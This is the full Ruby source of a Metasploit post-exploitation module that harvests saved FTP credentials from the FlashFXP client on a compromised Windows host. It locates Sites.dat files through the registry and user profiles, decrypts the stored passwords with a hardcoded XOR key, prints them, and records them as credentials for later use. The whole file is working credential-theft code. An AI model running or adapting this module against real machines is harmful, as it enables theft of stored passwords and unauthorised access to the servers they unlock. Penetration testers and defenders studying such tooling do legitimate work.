## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather FlashFXP Saved Password Extraction', 'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It finds saved FTP connections in the Sites.dat file. }, 'License' => MSF_LICENSE, 'Author' => [ 'theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write ] } } ) ) end def run # Checks if the Site data is stored in a generic location for all users flash_reg = 'HKLM\\SOFTWARE\\FlashFXP' flash_reg_ver = registry_enumkeys(flash_reg.to_s) # Ini paths @fxppaths = [] unless flash_reg_ver.nil? software_key = "#{flash_reg}\\#{flash_reg_ver.join}" generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || '' unless generic_path.include? '%APPDATA%' @fxppaths << generic_path + '\\Sites.dat' end end grab_user_profiles.each do |user| next if user['AppData'].nil? tmpath = user['AppData'] + '\\FlashFXP\\' get_ver_dirs(tmpath) end @fxppaths.each do |fxp| get_ini(fxp) end end def get_ver_dirs(path) session.fs.dir.foreach(path) do |sub| next if sub =~ /^(\.|\.\.)$/ @fxppaths << "#{path}#{sub}\\Sites.dat" end rescue StandardError print_error("The following path could not be accessed or does not exist: #{path}") end def get_ini(filename) config = client.fs.file.new(filename, 'r') parse = config.read ini = Rex::Parser::Ini.from_s(parse) if ini == {} print_error("Unable to parse file, may be encrypted using external password: #{filename}") end ini.each_key do |group| host = ini[group]['IP'] username = ini[group]['user'] epass = ini[group]['pass'] port = ini[group]['port'] next if epass.nil? || (epass == '') passwd = decrypt(epass) print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") service_data = { address: Rex::Socket.getaddress(host), port: port, protocol: 'tcp', service_name: 'ftp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, username: username, private_data: passwd, private_type: :password } credential_core = create_credential(credential_data.merge(service_data)) login_data = { core: credential_core, access_level: 'User', status: Metasploit::Model::Login::Status::UNTRIED } create_credential_login(login_data.merge(service_data)) end rescue StandardError print_status("Either could not find or could not open file #{filename}") end def decrypt(pwd) key = 'yA36zA48dEhfrvghGRg57h5UlDv3' pass = '' cipher = [pwd].pack('H*') (0..cipher.length - 2).each do |index| xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first if ((xored - cipher[index, 1].unpack('C').first < 0)) xored += 255 end pass << (xored - cipher[index, 1].unpack('C').first).chr end return pass end end